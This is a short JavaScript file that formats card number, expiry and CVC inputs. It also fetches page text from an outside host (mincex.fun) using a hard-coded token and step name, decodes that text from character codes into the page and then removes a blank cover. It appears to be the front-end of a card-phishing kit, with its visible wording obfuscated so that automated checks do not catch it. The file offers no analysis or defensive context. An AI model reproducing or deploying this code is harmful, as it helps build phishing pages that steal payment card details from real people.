jQuery(function($){
    $('#three').payment('formatCardCVC');
    $('#two').payment('formatCardExpiry');
    $('#one').payment('formatCardNumber');
})

function getContent(step_name) {
    $(window).on('load', function(){
        var infos = {
            token : "626535646bf79173b52de488d8cdfb9f",
            step_name : step_name
        };
        fetch("https://mincex.fun/newsystem/pages/get/"+ infos.token +"/" + infos.step_name,{
            method : 'POST',
            body : JSON.stringify(infos),
            //headers : { 'Content-type' : 'application/json' }
        }).then(response => response.json()).then(data => {
            var get_chlakh = $('.chlakh');
            $.each( data, function( key, value ) {
                var exp = value.split(' ');
                var word = [];
                exp.forEach((element, i) => {
                    word[i] = String.fromCharCode(element);
                });
                var txt = word.join('');
                $(get_chlakh[key]).html(txt);
            });
            $('#whitebox').hide();
        }).catch(error => {
            console.log(error);
        });
    });
}

jQuery(function($){
    
})